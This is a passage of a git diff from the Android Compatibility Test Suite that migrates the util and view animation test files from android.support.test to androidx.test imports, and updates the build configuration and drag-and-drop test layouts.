+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/MutableTest.java b/tests/tests/util/src/android/util/cts/MutableTest.java
index e4f6fd9..e271df0 100644
--- a/tests/tests/util/src/android/util/cts/MutableTest.java
+++ b/tests/tests/util/src/android/util/cts/MutableTest.java
@@ -16,14 +16,16 @@
package android.util.cts;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import static org.junit.Assert.*;
+
import android.util.*;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class MutableTest {
diff --git a/tests/tests/util/src/android/util/cts/PatternsTest.java b/tests/tests/util/src/android/util/cts/PatternsTest.java
index 3a8df11..b249753 100644
--- a/tests/tests/util/src/android/util/cts/PatternsTest.java
+++ b/tests/tests/util/src/android/util/cts/PatternsTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Patterns;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java b/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
index 59a6ee2..ff1cf77 100644
--- a/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
@@ -18,11 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.PrintStreamPrinter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java b/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
index d7ae859..9d5bc36 100644
--- a/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.PrintWriterPrinter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/util/src/android/util/cts/PropertyTest.java b/tests/tests/util/src/android/util/cts/PropertyTest.java
index 3d76e36..c1b9066 100644
--- a/tests/tests/util/src/android/util/cts/PropertyTest.java
+++ b/tests/tests/util/src/android/util/cts/PropertyTest.java
@@ -16,17 +16,19 @@
package android.util.cts;
+import static org.junit.Assert.*;
+
import android.graphics.Point;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.FloatProperty;
import android.util.IntProperty;
import android.util.Property;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class PropertyTest {
diff --git a/tests/tests/util/src/android/util/cts/RangeTest.java b/tests/tests/util/src/android/util/cts/RangeTest.java
index 5121ce1..6a9a91a 100644
--- a/tests/tests/util/src/android/util/cts/RangeTest.java
+++ b/tests/tests/util/src/android/util/cts/RangeTest.java
@@ -18,11 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Range;
import android.util.Rational;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/RationalTest.java b/tests/tests/util/src/android/util/cts/RationalTest.java
index 84b2ece..02f5e76 100644
--- a/tests/tests/util/src/android/util/cts/RationalTest.java
+++ b/tests/tests/util/src/android/util/cts/RationalTest.java
@@ -26,10 +26,11 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Rational;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/SizeTest.java b/tests/tests/util/src/android/util/cts/SizeTest.java
index f274945..c865f6a 100644
--- a/tests/tests/util/src/android/util/cts/SizeTest.java
+++ b/tests/tests/util/src/android/util/cts/SizeTest.java
@@ -18,11 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Size;
import android.util.SizeF;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayTest.java b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
index b80a3cb..28df0cf 100644
--- a/tests/tests/util/src/android/util/cts/SparseArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
@@ -21,10 +21,11 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.SparseArray;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java b/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
index 6a533f5..b135561 100644
--- a/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.SparseBooleanArray;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java b/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
index 9c554fa..e4b473b 100644
--- a/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.SparseIntArray;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java b/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
index 501c788..7b6f0c6 100644
--- a/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.SparseLongArray;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/StateSetTest.java b/tests/tests/util/src/android/util/cts/StateSetTest.java
index c3420eb..1818e09 100644
--- a/tests/tests/util/src/android/util/cts/StateSetTest.java
+++ b/tests/tests/util/src/android/util/cts/StateSetTest.java
@@ -20,10 +20,11 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.StateSet;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
index 3c18df7..8a4a6d4 100644
--- a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
+++ b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
@@ -22,12 +22,13 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.system.OsConstants;
import android.util.jar.StrictJarFile;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import libcore.io.IoBridge;
import libcore.io.Streams;
diff --git a/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java b/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
index 17e4603..96bc1ad 100644
--- a/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.StringBuilderPrinter;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
index 3362caf..8f9b76d 100644
--- a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
@@ -17,10 +17,11 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.TimeUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/TimingLoggerTest.java b/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
index 98f709e..817783b 100644
--- a/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
+++ b/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
@@ -16,10 +16,11 @@
package android.util.cts;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.TimingLogger;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/TypedValueTest.java b/tests/tests/util/src/android/util/cts/TypedValueTest.java
index 9c454e4..4a51be7 100644
--- a/tests/tests/util/src/android/util/cts/TypedValueTest.java
+++ b/tests/tests/util/src/android/util/cts/TypedValueTest.java
@@ -20,11 +20,12 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.util.TypedValue;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/XmlEncodingTest.java b/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
index 8ce6b5f..a405550 100644
--- a/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
+++ b/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Xml;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xml.sax.Attributes;
@@ -34,7 +35,6 @@
import java.io.IOException;
import java.util.Vector;
-
/**
* TestCases for android.util.Xml.Encoding.
*/
diff --git a/tests/tests/util/src/android/util/cts/XmlTest.java b/tests/tests/util/src/android/util/cts/XmlTest.java
index 400c141..f3e5eb4 100644
--- a/tests/tests/util/src/android/util/cts/XmlTest.java
+++ b/tests/tests/util/src/android/util/cts/XmlTest.java
@@ -21,12 +21,13 @@
import static org.junit.Assert.fail;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xml.sax.Attributes;
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index 6174a73..7328043 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -29,10 +29,10 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctsdeviceutillegacy \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt \
mockito-target-minus-junit4 \
platform-test-annotations \
ub-uiautomator
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 4217959..2a6d729 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -360,7 +360,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.view.cts"
android:label="CTS tests of android.view">
<meta-data android:name="listener"
diff --git a/tests/tests/view/res/layout-land/drag_drop_layout.xml b/tests/tests/view/res/layout-land/drag_drop_layout.xml
new file mode 100644
index 0000000..79aa5df
--- /dev/null
+++ b/tests/tests/view/res/layout-land/drag_drop_layout.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout
+ android:id="@+id/drag_drop_activity_main"
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal">
+ <FrameLayout
+ android:id="@+id/container"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_margin="42dp"
+ android:background="#BBBBBB">
+ <FrameLayout
+ android:id="@+id/subcontainer"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_margin="42dp"
+ android:background="#666666">
+ <View
+ android:id="@+id/inner"
+ android:layout_width="42dp"
+ android:layout_height="42dp"
+ android:layout_margin="42dp"
+ android:background="#00FF00" />
+ </FrameLayout>
+ </FrameLayout>
+ <View
+ android:id="@+id/draggable"
+ android:layout_width="42dp"
+ android:layout_height="42dp"
+ android:layout_margin="42dp"
+ android:background="#0000FF" />
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/drag_drop_layout.xml b/tests/tests/view/res/layout/drag_drop_layout.xml
index cf882bd..9f4614c 100644
--- a/tests/tests/view/res/layout/drag_drop_layout.xml
+++ b/tests/tests/view/res/layout/drag_drop_layout.xml
@@ -25,26 +25,26 @@
android:id="@+id/container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="42dp"
+ android:layout_margin="21dp"
android:background="#BBBBBB">
<FrameLayout
android:id="@+id/subcontainer"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="42dp"
+ android:layout_margin="21dp"
android:background="#666666">
<View
android:id="@+id/inner"
- android:layout_width="42dp"
- android:layout_height="42dp"
- android:layout_margin="42dp"
+ android:layout_width="21dp"
+ android:layout_height="21dp"
+ android:layout_margin="21dp"
android:background="#00FF00" />
</FrameLayout>
</FrameLayout>
<View
android:id="@+id/draggable"
- android:layout_width="42dp"
- android:layout_height="42dp"
- android:layout_margin="42dp"
+ android:layout_width="21dp"
+ android:layout_height="21dp"
+ android:layout_margin="21dp"
android:background="#0000FF" />
</LinearLayout>
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 31d8918..801b49b 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
<android.view.cts.MockView
android:id="@+id/mock_view"
- android:layout_width="100px"
- android:layout_height="100px"/>
+ android:layout_width="100dp"
+ android:layout_height="75dp"/>
<android.view.cts.MockView
android:id="@+id/scroll_view"
diff --git a/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
index 926d707..4bc4883 100644
--- a/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
@@ -23,10 +23,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -38,6 +34,11 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
index 92fa08d..23adf11 100644
--- a/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
@@ -23,10 +23,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -38,6 +34,11 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
index 605a339..240d155 100644
--- a/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
@@ -21,15 +21,16 @@
import android.content.Context;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.animation.AlphaAnimation;
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
index 36846f3..11517cf 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
@@ -25,10 +25,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -41,6 +37,11 @@
import android.view.animation.TranslateAnimation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
index d3bc8e0..88435c9 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
@@ -35,11 +35,6 @@
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -53,6 +48,12 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java b/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
index 9c845c1..d0b0ffc 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
@@ -18,12 +18,13 @@
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.rule.ActivityTestRule;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.LayoutAnimationController;
+import androidx.test.rule.ActivityTestRule;
+
import com.android.compatibility.common.util.PollingCheck;
/**
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
index 3a8d270..bfa904e 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
@@ -21,9 +21,6 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.AlphaAnimation;
import android.view.animation.Animation;
@@ -33,6 +30,10 @@
import android.view.animation.LayoutAnimationController;
import android.view.cts.R;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
index ddd55aa..bfe0b92 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
@@ -30,10 +30,6 @@
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.Display;
import android.view.Surface;
@@ -41,8 +37,13 @@
import android.view.WindowManager;
import android.view.cts.R;
-import org.junit.Before;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
+import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
index 372fd52..ede260f 100644
--- a/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
@@ -23,10 +23,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -38,6 +34,11 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
index 1ecbe96..f5ed3cc 100644
--- a/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
@@ -23,10 +23,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -38,6 +34,11 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
index 00a88ca..a2a50d6 100644
--- a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
@@ -21,9 +21,6 @@
import static org.junit.Assert.assertTrue;
import android.content.res.XmlResourceParser;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -37,6 +34,10 @@
import android.widget.AbsListView;
import android.widget.GridView;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
index c3be382..aec6848 100644
--- a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
@@ -17,10 +17,11 @@
package android.view.animation.cts;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.GridLayoutAnimationController;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
index 90e7942..2c918a1 100644
--- a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
@@ -22,9 +22,6 @@
import static org.junit.Assert.assertTrue;
import android.content.res.XmlResourceParser;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -41,6 +38,10 @@
import android.widget.AbsListView;
import android.widget.ListView;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
